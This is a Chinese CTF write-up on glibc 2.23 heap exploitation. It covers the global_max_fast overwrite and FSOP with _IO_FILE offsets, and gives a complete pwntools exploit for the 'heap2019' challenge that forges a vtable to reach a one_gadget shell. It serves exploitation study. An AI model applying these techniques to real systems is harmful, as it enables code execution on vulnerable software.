#堆中global_max_fast相关利用
改写global_max_fast为一个较大的值,然后释放一个较大的堆块时,由于fastbins数组空间是有限的,其相对偏移将会往后覆盖,如果释放堆块的size可控,就可实现往fastbins数组(main_arena)后的任意地址写入所堆块的地址。
计算偏移的方式:

1
2
3
fastbin_ptr=libc_base+libc.symbols['main_arena']+8
idx=(target_addr-fastbin_ptr)/8
size=idx*0x10+0x20

#FSOP

1
2
3
4
5
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}

mode偏移0xc0
IO_write_ptr偏移0x28
IO_write_base偏移0x20
vtable偏移0xd8

简单记录gdb中查看io_file的指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
p *(struct _IO_FILE_plus *) stdout
$1 = {
file = {
_flags = 0xfbad2887, 0
_IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 8
_IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 0x10
_IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 0x18
_IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 0x20
_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 0x28
_IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 0x30
_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 0x38
_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", 0x40
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff, 0xc0
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0<_IO_file_jumps> 0xd8
}

在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

虚表中_IO_OVERFLOW的偏移为0x18

例题:铁三2023

##heap2019

###思路
libc23,然后size大小>0x90,<=0x2333;漏洞:edit可以任意地址写0xdeadbeef。
所以先改global_max_fast为一个很大的值,算出偏移释放掉堆,伪造虚表vtable,fsop

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import*
from LibcSearcher import*
context.log_level='debug'
'''
r=remote('node4.buuoj.cn',)
libc=ELF('./libc-2.23.so')
'''
r=process('./heap2019')
libc=ELF('./2.23/libc.so.6')

def add(size,test):
r.sendlineafter('4.exit','1')
r.sendlineafter('Content length:',str(size))
r.sendafter('Content:',test)

def edit(test):
r.sendlineafter('4.exit','2')
r.sendafter('Comment:',test)

def dele(ind):
r.sendlineafter('4.exit','3')
r.sendlineafter('Content id:',str(ind))

def show():
r.sendlineafter('4.exit','2019')
show()
r.recvuntil('0x')
pie=int(r.recv(12),16)
print 'pie=',hex(pie)


fake_file = 'a' * (0x20 - 0x10) #padding
fake_file += p64(0) #write_base => offset_0x20
fake_file += p64(1) #write_ptr => offset_0x28
fake_file += 'b' * (0xb8 - 0x28) #padding
fake_file += p64(0) #mode => offset_0xc0
fake_file += 'c' * (0xd0 - 0xc0) #padding
fake_file += p64(pie+0xe0-0x40) #vtable => offset_0xd8

og=0x4525a


add(0x200,'aaaaa')
add(0x13e0+0x20,fake_file)
add(0x200,'ssss')
dele(0)
add(0x98,'s'*8)
base=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\0'))-0x00007fb8363e7d78+0x7fb836024000
global_max_fast=base+0x3c5848
_IO_list_all=base+libc.sym['_IO_list_all']
print 'global_max_fast=',hex(global_max_fast)
print '_IO_list_all=',hex(_IO_list_all)

edit('a'*0x18+p64(og+base)+p64(global_max_fast+1))#pie+0xe0-0x40 伪造的table地址,og覆盖_io_overflow
dele(1)
print hex(og+base)
#gdb.attach(r)
r.sendlineafter('4.exit','4')


r.interactive()